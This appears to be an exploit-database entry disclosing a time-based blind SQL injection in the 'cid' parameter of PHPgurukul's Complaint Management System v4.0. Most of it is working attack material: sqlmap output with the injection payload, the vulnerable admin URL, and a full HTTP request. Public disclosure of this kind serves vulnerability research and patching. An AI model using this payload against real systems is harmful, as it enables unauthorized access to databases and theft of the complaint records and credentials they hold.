Complaint Management System 4.0 - 'cid' SQL injection

# Exploit Title: Complaint Management System 4.0 - 'cid' SQL injection
# Google Dork: N/A
# Date: 2020-01-03
# Exploit Author: FULLSHADE
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/complaint-management-sytem/
# Version: v4.0
# Tested on: Windows 7
# CVE : N/A

Description:

The Complaint Management System v4.0 application from PHPgurukul is vulnerable to
blind SQL injection via the 'cid' parameter which is found on the complaint-details.php
page.

========== 1. SQLi ==========

SQLMAP POC:

GET parameter 'cid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 1748 HTTP(s) requests:
---
Parameter: cid (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: cid=2'+(SELECT 0x7648556f WHERE 4476=4476 AND SLEEP(5))+'
---

The ?cid parameter is vulnerable to sql injection within the

the vulnerable URL = https://10.0.0.214/complaint%20management%20system/cms/admin/complaint-details.php?cid=2

request:

GET /complaint%20management%20system/cms/admin/complaint-details.php?cid=2 HTTP/1.1
Host: 10.0.0.214
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: PHPSESSID=5bmri9rlp1jvrjkhgumn7v9fot
Upgrade-Insecure-Requests: 1